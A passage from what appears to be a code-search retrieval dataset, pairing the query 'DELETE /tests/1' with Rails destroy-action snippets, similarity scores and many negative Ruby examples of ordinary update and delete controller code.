"def update\n respond_to do |format|\n if @test_suite.update(test_suite_params)\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_suite }\n else\n format.html { render :edit }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n if @student_test.update_attributes(params[:student_test])\n format.html { redirect_to @student_test, notice: 'Student test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n @test = TkdTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:tkd_test])\n format.html { redirect_to(@test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testsuite.update(testsuite_params)\n format.html { redirect_to @testsuite, notice: 'Testsuite was successfully updated.' }\n format.json { render :show, status: :ok, location: @testsuite }\n else\n format.html { render :edit }\n format.json { render json: @testsuite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = Mg::Test.find(params[:id])\n\n if @test.update_attributes(params[:test])\n flash[:notice] = 'Test was successfully updated.'\n redirect_to mg_test_url :id => @test.id\n else\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @reacttest.update(reacttest_params)\n format.html { redirect_to @reacttest, notice: 'Reacttest was successfully updated.' }\n format.json { render :show, status: :ok, location: @reacttest }\n else\n format.html { render :edit }\n format.json { render json: @reacttest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_submission = TestSubmission.find(params[:id])\n\n respond_to do |format|\n if @test_submission.update_attributes(params[:test_submission])\n format.html { redirect_to @test_submission, :notice => 'Test submission was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def test_update_object_by_id\r\n\t VCR.use_cassette('edit_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t json = JSON.parse(File.read(\"test/fixtures/edit_specimen.json\"))\r\n\t\t id = json[\"id\"]\r\n\t\t json[\"id\"] = \"\" #id cannot be updated\r\n\t\t result=CordraRestClient::DigitalObject.update(API_URL, id, json, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end",
"def update\n respond_to do |format|\n if @httparty_test.update(httparty_test_params)\n format.html { redirect_to @httparty_test, notice: 'Httparty test was successfully updated.' }\n format.json { render :show, status: :ok, location: @httparty_test }\n else\n format.html { render :edit }\n format.json { render json: @httparty_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n if @fixture.update_attributes(fixture_params)\n format.json { head :no_content }\n else\n format.json { render json: @fixture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @testtype.update(testtype_params)\n format.html { redirect_to @testtype, notice: 'Testtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testboot.update(testboot_params)\n format.html { redirect_to @testboot, notice: 'Testboot was successfully updated.' }\n format.json { render :show, status: :ok, location: @testboot }\n else\n format.html { render :edit }\n format.json { render json: @testboot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(action, **args); end",
"def update\n @dtest = Dtest.find(params[:id])\n\n respond_to do |format|\n if @dtest.update_attributes(params[:dtest])\n format.html { redirect_to @dtest, notice: t(:upd_test)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_instance.update(test_instance_params)\n format.html { redirect_to @test_instance, notice: 'Test instance was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_instance }\n else\n format.html { render :edit }\n format.json { render json: @test_instance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_test.update(user_test_params)\n format.html { redirect_to admin_user_tests_path, notice: 'User test was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_test }\n else\n format.html { render :edit }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_two.update(test_two_params)\n format.html { redirect_to @test_two, notice: 'Test two was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_two }\n else\n format.html { render :edit }\n format.json { render json: @test_two.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n logger.debug \"---------------------\"\n logger.debug \"---------------------\"\n @testing = Testing.find(params[:id])\n\n respond_to do |format|\n if @testing.update_attributes(params[:testing])\n format.html { redirect_to(@testing, :notice => 'Testing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testpat.update(testpat_params)\n format.html { redirect_to @testpat, notice: 'Testpat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testpat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = @subject.tests.find_by_id(params[:id])\n if @test.update_attributes(params[:test])\n redirect_to user_subject_tests_path\n else\n render :action => \"edit\"\n end\n end",
"def update\n @testmethod = Testmethod.find(params[:id])\n\n respond_to do |format|\n if @testmethod.update_attributes(params[:testmethod])\n format.html { redirect_to(@testmethod, :notice => 'Test Method was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @testmethod.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def update\n respond_to do |format|\n if @test_call.update(test_call_params)\n format.html { redirect_to @test_call, notice: 'Test call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_call.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.66275895",
"0.6461085",
"0.641104",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6391308",
"0.6353196",
"0.63523674",
"0.63470954",
"0.6342605",
"0.6310571",
"0.6279947",
"0.62674844",
"0.62450176",
"0.6235671",
"0.6208939",
"0.61947995",
"0.61947995",
"0.61943364",
"0.6174246",
"0.61503476",
"0.61304",
"0.61163825",
"0.60935754",
"0.6091238",
"0.6091115",
"0.6088009",
"0.60810995",
"0.6078261",
"0.6076138",
"0.60693043",
"0.6063082",
"0.6060901",
"0.6051744",
"0.6050317",
"0.60467756",
"0.6022913",
"0.6003661",
"0.60030085",
"0.59930754",
"0.5966503",
"0.5965418",
"0.59475964",
"0.59365875",
"0.5922691",
"0.59114623",
"0.5910229",
"0.5909245",
"0.5899001",
"0.58900523",
"0.5879699",
"0.5876636",
"0.5876603",
"0.58635706",
"0.5838138",
"0.5837912",
"0.5837912",
"0.5836278",
"0.58197886",
"0.58185935",
"0.5817584",
"0.5817437",
"0.5808303",
"0.58042425",
"0.5804135",
"0.57988244",
"0.5790293",
"0.5777397",
"0.577582",
"0.57730615",
"0.57677317",
"0.5763257",
"0.57526207",
"0.5750231",
"0.5748638",
"0.57465667",
"0.5743325",
"0.5739761",
"0.5739761",
"0.5739441",
"0.5738379",
"0.573424",
"0.57303005",
"0.5718949",
"0.5717379",
"0.57163274",
"0.5713701",
"0.57099587",
"0.57066184",
"0.57041925",
"0.57004386",
"0.5696277",
"0.5695865",
"0.5691878",
"0.5687385",
"0.56830645"
] | 0.6462119 | 1 |
DELETE /tests/1 DELETE /tests/1.json | def destroy
@test.destroy
respond_to do |format|
format.html { redirect_to tests_url, notice: 'Test was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = Test.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: 'Prueba eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = LoadTest.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to load_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test1.destroy\n respond_to do |format|\n format.html { redirect_to test1s_url, notice: \"Test1 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @test = Mg::Test.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to(mg_tests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @testtest.destroy\n respond_to do |format|\n format.html { redirect_to testtests_url, notice: 'Testtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n if @test.destroy\n return render json: { message: 'Test was removed succesfully.', error: false }\n else\n return render json: { message: 'Error :Something went wrong. Test was not removed.', error: true }\n end\n end",
"def destroy\n @test_run.destroy\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testing_.destroy\n respond_to do |format|\n format.html { redirect_to testing_s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_test = TestTest.find(params[:id])\n @test_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_tests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @testis = Teste.find(params[:id])\n @testis.destroy\n\n respond_to do |format|\n format.html { redirect_to testes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jsontest.destroy\n respond_to do |format|\n format.html { redirect_to jsontests_url, notice: 'Jsontest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_stuff.destroy\n respond_to do |format|\n format.html { redirect_to test_stuffs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testdb = Testdb.find(params[:id])\n @testdb.destroy\n\n respond_to do |format|\n format.html { redirect_to testdbs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @jquery_test.destroy\n respond_to do |format|\n format.html { redirect_to jquery_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testcase = Testcase.find(params[:id])\n @testcase.destroy\n\n respond_to do |format|\n format.html { redirect_to testcases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tktest = Tktest.find(params[:id])\n @tktest.destroy\n\n respond_to do |format|\n format.html { redirect_to tktests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @smoke_test = SmokeTest.find(params[:id])\n @smoke_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(smoke_tests_url) }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @test_case.destroy\n respond_to do |format|\n format.html { redirect_to test_cases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_run = TestRun.find(params[:id])\n @test_run.destroy\n\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_detail.destroy\n respond_to do |format|\n format.html { redirect_to test_details_url, notice: 'Test detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usertest = Usertest.find(params[:id])\n @usertest.destroy\n\n respond_to do |format|\n format.html { redirect_to usertests_url }\n format.json { head :no_content }\n end\n end",
"def test_delete_post\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Delete.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def destroy\n @fixit_test.destroy\n respond_to do |format|\n format.html { redirect_to fixit_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @httparty_test.destroy\n respond_to do |format|\n format.html { redirect_to httparty_tests_url, notice: 'Httparty test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_test = Admin::Test.find(params[:id])\n @admin_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_tests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url(subject_class_id: @test.subject_class_id), notice: 'Test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_file = TestFile.find(params[:id])\n @test_file.destroy\n\n respond_to do |format|\n format.html { redirect_to test_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dtest = Dtest.find(params[:id])\n @dtest.destroy\n\n respond_to do |format|\n format.html { redirect_to dtests_url, notice: t(:dest_test) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = TkdTest.find(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t\t\n\t\t\t\tTestimony.find(params[:id]).destroy\n\n\t\t\t\trender json: nil,status: 200\n\t\t\t\n\t\t\tend",
"def destroy\n @test_item.destroy\n respond_to do |format|\n format.html { redirect_to test_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @section_test = SectionTest.find(params[:id])\n @section_test.destroy\n\n respond_to do |format|\n format.html { redirect_to section_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @test_summary = TestSummary.find(params[:id])\n @test_summary.destroy\n\n respond_to do |format|\n format.html { redirect_to test_summaries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_suite = TestSuite.find(params[:id])\n @test_suite.destroy\n\n respond_to do |format|\n format.html { redirect_to test_suites_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testurl.destroy\n respond_to do |format|\n format.html { redirect_to testurls_url, notice: 'Testurl was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_stall.destroy\n respond_to do |format|\n format.html { redirect_to test_stalls_url, notice: 'Test stall was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test10 = Test10.find(params[:id])\n @test10.destroy\n\n respond_to do |format|\n format.html { redirect_to test10s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_data_url, notice: 'Test datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dovetest.destroy\n respond_to do |format|\n format.html { redirect_to dovetests_url, notice: 'Dovetest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @copyeditor_test.destroy\n respond_to do |format|\n format.html { redirect_to copyeditor_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tester = Tester.find(params[:id])\n @tester.destroy\n\n respond_to do |format|\n format.html { redirect_to testers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tester = Tester.find(params[:id])\n @tester.destroy\n\n respond_to do |format|\n format.html { redirect_to testers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test = Test.find_by_id(params[:id])\n @test.destroy\n\n respond_to do |format|\n format.html { redirect_to user_subject_tests_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n @team_test = TeamTest.find(params[:id])\n @team_test.destroy\n\n respond_to do |format|\n format.html { redirect_to team_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @translations_versions_test.destroy\n respond_to do |format|\n format.html { redirect_to translations_versions_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alram_test.destroy\n respond_to do |format|\n format.html { redirect_to alram_tests_url, notice: 'Alram test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_test = StudentTest.find(params[:id])\n @student_test.destroy\n\n respond_to do |format|\n format.html { redirect_to student_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @runtest.destroy\n respond_to do |format|\n format.html { redirect_to runtests_url, notice: 'Runtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ab_test.destroy\n respond_to do |format|\n format.html { redirect_to ab_tests_url, notice: 'Ab test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @what_test.destroy\n respond_to do |format|\n format.html { redirect_to what_tests_url, notice: 'What test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nginxtest.destroy\n respond_to do |format|\n format.html { redirect_to nginxtests_url, notice: \"Nginxtest was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test.destroy\n head :no_content\n end",
"def destroy\n @user_test.destroy\n respond_to do |format|\n format.html { redirect_to user_tests_url, notice: 'User test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assert = Assert.find(params[:id])\n @assert.destroy\n\n respond_to do |format|\n format.html { redirect_to asserts_url }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @test_set = TestSet.find(params[:id])\n permitted_to! :destroy, @test_set\n @test_set.destroy\n\n respond_to do |format|\n format.html { redirect_to test_sets_url }\n format.json { head :ok }\n end\n end",
"def destroy\n teacher_exclusive\n @test.destroy\n respond_to do |format|\n format.html { redirect_to tests_url, notice: \"L'épreuve a été supprimée\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_run = TestRun.accessible_by(current_ability).find(params[:id])\n @test_run.destroy\n\n respond_to do |format|\n format.html { redirect_to test_runs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reacttest.destroy\n respond_to do |format|\n format.html { redirect_to reacttests_url, notice: 'Reacttest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @testpat.destroy\n respond_to do |format|\n format.html { redirect_to testpats_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @case_test.destroy\n respond_to do |format|\n format.html { redirect_to case_tests_url, notice: 'Case test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_two.destroy\n respond_to do |format|\n format.html { redirect_to test_twos_url, notice: 'Test two was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @drug_test = DrugTest.find(params[:id])\n @drug_test.destroy\n\n respond_to do |format|\n format.html { redirect_to drug_tests_url }\n format.json { head :no_content }\n end\n end",
"def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def destroy\n @testing.destroy\n respond_to do |format|\n format.html { redirect_to testings_url, notice: 'Testing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_metum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @runscope_test.destroy\n respond_to do |format|\n format.html { redirect_to runscope_tests_url, notice: 'Runscope test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testmonial.destroy\n\n head :no_content\n end",
"def destroy\n @test_call.destroy\n respond_to do |format|\n format.html { redirect_to test_calls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_post = TestPost.find(params[:id])\n @test_post.destroy\n\n respond_to do |format|\n format.html { redirect_to test_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expectation = Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to expectations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @performance_test = PerformanceTest.find(params[:id])\n @performance_test.destroy\n\n respond_to do |format|\n format.html { redirect_to performance_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @test_record.destroy\n respond_to do |format|\n format.html { redirect_to test_records_url, notice: 'Test record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testcase = Testcase.find(params[:id])\n @testcase.destroy\n\n respond_to do |format|\n format.html { redirect_to(testcases_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @testsuite.destroy\n respond_to do |format|\n format.html { redirect_to testsuites_url, notice: 'Testsuite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_meta_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_data_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @type_test.destroy\n respond_to do |format|\n format.html { redirect_to type_tests_url, notice: 'Type test was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.771419",
"0.771419",
"0.7699507",
"0.74376744",
"0.7390183",
"0.7322365",
"0.73147345",
"0.7270275",
"0.72675836",
"0.7227697",
"0.7193399",
"0.718793",
"0.7176366",
"0.715625",
"0.71377426",
"0.7136246",
"0.71350276",
"0.71236855",
"0.7106981",
"0.71050316",
"0.7105011",
"0.7102667",
"0.7094241",
"0.7084838",
"0.70582277",
"0.70515597",
"0.7050981",
"0.7041329",
"0.7035585",
"0.7024097",
"0.70228094",
"0.70133823",
"0.70092785",
"0.69987494",
"0.6988829",
"0.6984175",
"0.69582933",
"0.6957629",
"0.6932844",
"0.69274104",
"0.6926253",
"0.69216514",
"0.6908965",
"0.6895417",
"0.6885228",
"0.6880373",
"0.6878607",
"0.6878607",
"0.6871726",
"0.68693274",
"0.6864774",
"0.68622655",
"0.68593735",
"0.68559945",
"0.68506914",
"0.68461585",
"0.6844054",
"0.68337554",
"0.6833401",
"0.6822839",
"0.68135",
"0.6810756",
"0.6809209",
"0.6806117",
"0.67963094",
"0.67950594",
"0.6786457",
"0.6786304",
"0.6786304",
"0.6786304",
"0.6786304",
"0.677976",
"0.6777255",
"0.67747796",
"0.6774683",
"0.6764138",
"0.6762494",
"0.67600256",
"0.6759385",
"0.6749592",
"0.6742049",
"0.67407787",
"0.67359936",
"0.67242855",
"0.67224634",
"0.6720864",
"0.6710306",
"0.6707018",
"0.67063725",
"0.67062163",
"0.67048925",
"0.6700004",
"0.66948855"
] | 0.7418487 | 9 |
Use callbacks to share common setup or constraints between actions. | def set_test
@test = Test.friendly.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
